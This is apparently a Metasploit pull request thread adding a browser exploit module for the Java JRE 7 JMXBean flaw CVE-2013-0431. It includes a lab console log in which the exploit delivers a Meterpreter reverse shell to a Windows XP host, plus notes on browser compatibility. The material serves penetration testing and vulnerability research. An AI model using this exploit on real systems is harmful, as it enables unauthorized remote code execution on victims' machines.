Added first version of cve-2013-0431

[jvazquez-r7]

First versions, as found in the wild and deobfuscated by https://twitter.com/SecObscurity

msf  exploit(java_jre17_jmxbean_2) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444 
[*] Using URL: http://0.0.0.0:8080/a431rgTUKn
[*]  Local IP: http://192.168.1.128:8080/a431rgTUKn
[*] Server started.
msf  exploit(java_jre17_jmxbean_2) > [*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/drbGMgHE.jar
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/drbGMgHE.jar
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/java/lang/ClassBeanInfo.class
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/java/lang/ObjectBeanInfo.class
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/java/lang/ObjectCustomizer.class
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/java/lang/ClassCustomizer.class
[*] 192.168.1.157    java_jre17_jmxbean_2 - handling request for /a431rgTUKn/
[*] Sending stage (30216 bytes) to 192.168.1.157
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.157:1249) at 2013-02-20 16:34:58 +0100

msf  exploit(java_jre17_jmxbean_2) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : juan-c0de875735
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.157 - Meterpreter session 1 closed.  Reason: User exit

[jvazquez-r7]

jvazquez-r7@1913d60 allows to use the applet tag when it's an internet explorer browser, and the embed tag in other cases (netscape browser mainly). The main reason is which the applet tag isn't working on google chrome.

[jvazquez-r7]

Tested successfully on IE8, FF 19 and chrome 24.0.1312.57 m

[coveralls]

Changes Unknown when pulling f04df63 on jvazquez-r7:java_jre17_jmxbean_2 into * on rapid7:master*.